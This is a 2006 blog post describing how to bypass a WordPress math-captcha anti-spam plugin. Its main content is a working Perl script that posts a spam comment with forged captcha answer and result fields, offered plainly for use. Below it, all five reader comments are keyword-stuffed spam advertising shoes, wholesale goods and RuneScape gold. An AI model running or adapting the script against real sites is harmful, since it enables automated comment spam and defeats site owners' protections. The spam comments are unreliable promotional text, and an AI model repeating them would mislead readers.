Friday, July 07, 2006

Math Comment Spam Protection Plugin - by-pass

wordpress plugin against spam (@ Michael Woehrer)
-> http://sw-guide.de/wordpress/math-comment-spam-protection-plugin/

easy to by-pass you must only send $mathuseranswer + $mathresult with any validate value.


#!/usr/bin/perl -w

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use strict;

# mathuseranswer 9+5 14
# mathresult 59568733


my $url = 'http://localhost/wordpress/wp-comments-post.php';

my $req = POST $url,
[
comment_post_ID => '3',
author => 'spam',
email => 'more\@spam.com',
comment => 'spammm2',
mathuseranswer => '14',
mathresult => '59568733'
];

print "HTTP-FullRequest-Header: \n";
print $req->headers->as_string() , "\n";

print "HTTP-FullRequest-Header-Content: \n";
print $req->content() ,"\n";


my $ua = LWP::UserAgent->new();

my $response = $ua->request($req);

if ( $response->is_error() ) {
print "Error-Code : ", $response->code() , "\n";
print "Fehlermeldung: ", $response->message() , "\n";
}
else {
print $response->content() , "\n";
}

5 Comments:

Blogger huyuni said...

A study last yearnike tn, the author in the essay read NIKE , a reporter at the Shanghai headquarters in an interview, nike chaussuressee a pr in high school to read a league plans, employees interviewed told reporters in Beijing's streets, they children to interview, the children said, "truly understand them." tn chaussures These words, if the author touches product function, brand spirit and culture is to become part of the consumer of two basic methods

10:08 PM  
Blogger huyuni said...

nike shoes & Puma Shoes Online- tn nike,puma shoes,puma cat, baskets cheap nike shox, air max.cheap nike shox r4 torch, cheap nike air, nike running shoes air max, puma speed and more. Paypal payment.nike running shoes Enjoy your shopping experience on Nike & Puma Shoes Online Store.

10:08 PM  
Blogger huyuni said...

China Wholesale has been described as the world’s factory. This phenomenom is typified by the rise of buy products wholesalebusiness. Incredible range of products available with wholesale from china“Low Price and High Quality” not only reaches directly to their target clients worldwide but also ensures that China Wholesalers from China means margins you cannot find elsewhere and China Wholesale will skyroket your profits.

10:08 PM  
Blogger franklin-marshalls said...

Footwear is tory burch flats an invention of necessity Franklin Marshallto protect us from the elements Moncler beneath. Over the years shoes have dramatically true religion outlet changed due to North Face Jackets cultures and fashions. Footwear Ugg Boots 5815 is under the the north face influence of Tiger Shoes fashion.

11:33 PM  
Blogger rscredits said...

If a job is worth doing it is worth doing well.What runescape gold you share here just prove this saying, i like your thought here, rs gold which is special and informative.

This topic is pretty good and the writer's views are buy runescape gold unique and not so hard to understand.I like it very much, and by the cheap rs gold way I want to share some interesting and very useful websites to you:www.rsorder.com! Iam sure you can find out funny things there.

10:11 PM  

Post a Comment

<< Home